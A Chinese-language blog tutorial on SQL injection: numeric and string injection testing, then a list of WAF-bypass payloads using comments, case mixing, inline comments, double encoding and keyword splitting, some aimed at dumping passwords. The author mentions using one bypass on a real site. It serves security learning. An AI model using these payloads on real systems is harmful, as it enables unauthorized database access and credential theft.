作为这么热火的安全问题,现在我才执笔写一下我的学习成果,可能有人会觉得是不是太晚了啊!Sql注入可是OWASP top 10 中NO.1,但正因为是如此热议的问题,我才不敢轻易执笔,希望经过沉淀,能够有我自己对sql注入的见解。
我们可能有所了解,sql注入漏洞是web层面最高危的漏洞之一。在2008到2012,连续三年高居OWASP top 10 NO.1的位置。在2005年前后,sql注入一度成为web安全的最大隐患,虽然如今随着web安全防御体制的日益完善,sql注入漏洞变得越来越少,也变得越来越难以利用和发现。但正如古人所说,温故而知新。
漏洞利用原理:
1.用户能够控制输出。这是前提条件。
2.原本程序要执行的代码拼接了用户输入的数据。并且拼接的数据是不可控的可执行的代码。在sql注入这里来说,主要是查询命令。
SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。
在我们准备了解sql注入的时候,首先要对其分下类,这样方便我们理解,我也将以类别的不同进行讨论。
数据型注入
当输入的参数为整型时,比如 年龄,ID等。如果存在注入漏洞,则认为是数字型注入。数字型注入是最简单的一种,假设 url为http://www.xxx.com/test.php?Id=2.
可以猜测sql查询语句为:
select * from table where id=2
测试语句如下:
分三步
1.http://www.xxx.com/test.php?Id=2’
sql查询语句为select * from table where id=2’,这样的语句肯定会出错,导致脚本程序无法从数据库获得信息,从而使原来的页面发生异常。
2.http://www.xxx.com/test.php?Id=2 and 1=1
sql查询语句为select * from table where id=2 and 1=1,语句执行异常,返回信息与原来无异。
3.http://www.xxx.com/test.php?Id=2 and 1=2
sql查询语句为select * from table where id=2 and 1=2,语句执行正常但无法查询到数据,因为“and 1=2”恒为假。所以返回数据于原始数据有差异。
如果以上三个步骤全部满足,则可能存在sql注入漏洞。
这些数字型注入,多存在于php,asp等弱类型语言。,弱类型语言会自动推导变量类型,例如 参数 id=2,那么php会自动推导变量id的数据类型为int,那么id =2 and 1=1则会被推导为string类型,这就是弱类型语言的特性。像java,C#这种强类型语言,如果试图把一个字符串类型转换为int则会抛出异常。
字符型注入
当输入参数为字符串时,为字符型。数字型与字符型最大的区别在于,数字型不需要用单引号来闭合,而字符型需要用单引号来闭合。
关键
字符型注入的关键在于如何闭合sql语句以及注释多余的代码。
当查询内容为字符串时,sql语句如下:
select * from table where username=‘admin’
这时候如果输入‘admin and 1=1’则注入不会成功,因为‘admin and 1=1’会被数据库当作查询的字符串,sql语句如下:
select * from table where username=‘admin and 1=1’
这时候想要进行注入,则必须注意字符串闭合问题。如果输入‘admin ‘and 1=1 –’则可以继续注入,sql注入语句如下:
select * from table where username=‘admin ’and 1=1 --‘
但是没人不穿衣服就让你日,服务器有自己的防御策略WAF,即会产生过滤,下面讨论一下常见的绕过过滤策略,这才是我们所真正关心的:
1>注释符
相信很多朋友都知道SQL的注释符吧,这算是绕WAF用的最广泛的了。它们允许我们绕过很多Web应用程序防火墙和限制,我们可以注释掉一些sql语句,然后让其只执行攻击语句而达到入侵目的。
常用注释符:
//, -- , /**/, #, --+, -- -, ;%00
2>情况改变
然而,以前审计的一些开源程序中,有些厂商的过滤很不严谨,一些是采用黑名单方式过滤,但是有些只过滤了小写形式,然而在传参的时候并没有将接收参数转换为小写进行匹配。针对这种情况,我们很简单就能绕过。
比如它的过滤语句是:
/union\sselect/g
那么我们就可以这样构造:
id=1+UnIoN/**/SeLeCT
3>内联注释
有些WAF的过滤关键词像/union\sselect/g,就比如上面说的,很多时候我都是采用内联注释。更复杂的例子需要更先进的方法。比如添加了SQL关键字,我们就要进一步分离这两个词来绕过这个过滤器。
id=1/*!UnIoN*/SeLeCT
采用/*! code */来执行我们的SQL语句。内联注释可以用于整个SQL语句中。所以如果table_name或者者information_schema进行了过滤,我们可以添加更多的内联注释内容。
比如一个过滤器过滤了:
union,where, table_name, table_schema, =, and information_schema
这些都是我们内联注释需要绕过的目标。所以通常利用内联注释进行如下方式绕过:
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -
通常情况下,上面的代码可以绕过过滤器,请注意,我们用的是 Like而不是 =
当一切似乎失败了之后,你可以尝试通过应用防火墙关闭SQL语句中使用的变量:
id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()-- -
即使常见内联注释本身没有工作,上述的代码也应该可以绕过union+select过滤器。
4>缓冲区溢出:
意想不到的输入:
我们知道,很多的WAFS都是C语言的,他们在装载一堆数据的时候,很容易就会溢出。下面描述的就是一个这样的WAF,当它接收到大量数据恶意的请求和响应时。
id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A's)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--+
上面的bypass语句,我在最近的一个网站绕过上用到了。
5>替换关键字(preg_replace and/or都能达到相同目的):
有时程序会删除所有的关键字,例如,有一个过滤器,他会把union select变成空白,这时我们可以采用以下方式进行绕过:
id=1+UNIunionON+SeLselectECT+1,2,3–
不难明白吧?union和select变成空白了,两边的又会重新组合成新的查询。
UNION+SELECT+1,2,3--
6>Character编码:
有些情况下,WAF对应用程序中的输入进行解码,但是有些WAF是只过滤解码一次的,所以只要我们对bypass语句进行双重编码就能将其绕过之。(WAF解码一次然后过滤,之后的SQL语句就会被自动解码直接执行了~)
双重编码bypass语句示例:
id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+
一些双重编码举例:
单引号:’
%u0027
%u02b9
%u02bc
%u02c8
%u2032
%uff07
%c0%27
%c0%a7
%e0%80%a7
空白:
%u0020
%uff00
%c0%20
%c0%a0
%e0%80%a0
左括号(:
%u0028
%uff08
%c0%28
%c0%a8
%e0%80%a8
右括号):
%u0029
%uff09
%c0%29
%c0%a9
%e0%80%a9
7>综合:
绕过几个简单的WAF之后,后面的任务也越来越容易了~下面说几种方法来绕过你的目标WAF。
7a>拆散SQL语句:
通常的做法是:需要把SQL注入语句给拆散,来检查是哪个关键字被过滤了。比如,如果你输入的是union+select语句,给你报了一个403或内部服务器错误,什么union不合法什么的,就知道过滤了哪些了,也是常见的Fuzzing测试。这是制造bypass语句的前提。
7b>冗长的报错:
当你的sql语法输入错误时、对方网站又没关闭错误回显的时候,会爆出一大堆错误,在php中更会爆出敏感的网站根目录地址。aspx则会爆出整个语法错误详细信息。
比如你输入的语法是:
id=1+Select+1,2,3--
会给你报出以下错误:
Error at line 1 near " "+1,2,3--
上面也说过了黑名单方式过滤,也可以采用以下方式进行绕过:
sel%0bect+1,2,3
这只是众多方法之一,绕过不同WAF需要不同的bypass思路。
8>高级bypass技巧:
正如前面所说的,当你尝试着绕过几个WAF之后,你会觉得其实他并不难,会感觉到很有趣,很有挑战性 :b ,当你在注入的时候发现自己被WAF之后,不要想要放弃,尝试挑战一下,看看它过滤了什么,什么语法允许,什么语法不允许。当然,你也可以尝试暴力一些,就把它当成inflatable doll, [;:{}()*&$/|<>?”’] 中括号里的这些特殊字符不是留着摆设的撒~能报个错出来都是颇为自豪的,骚年,你说对不对?
但是,如果你试了N个语句,都tm被过滤了,整个人都快崩溃了,该怎么办?很简单,打开音乐播放器,放一首小苹果放松一下。然后把WAF过滤的东东全部copy下来,仔细分析!俗话怎么说来着,世上无难事,只怕有心人。
举例来说,比如你分析到最后,发现所有的都被换成空白了,就意味着你不能使用内联注释了,union+select也会给你返回一个403错误,在这种情况下,你应该充分利用被替换成空白:
id=1+uni*on+sel*ect+1,2,3–+
这样的话,*被过滤掉了,但是union+select被保留下来了。这是常见的WAF bypass技巧,当然不仅仅是union+select,其他的语法被过滤了都可以采用这种的。找到被替换的那个关键字,你就能找到绕过的方法
一些常见的bypass:
id=1+(UnIoN)+(SelECT)+
id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+'UnI''On'+'SeL''ECT' <-MySQL only
id=1+'UnI'||'on'+SeLeCT' <-MSSQL only
注意:在mysql4.0种,UNI //ON+SEL// ECT是没办法用的。
sql注入注入问题虽然越来越少,但是漏洞研究的初衷是培养我们发现漏洞的能力。今天我们所做便是如此。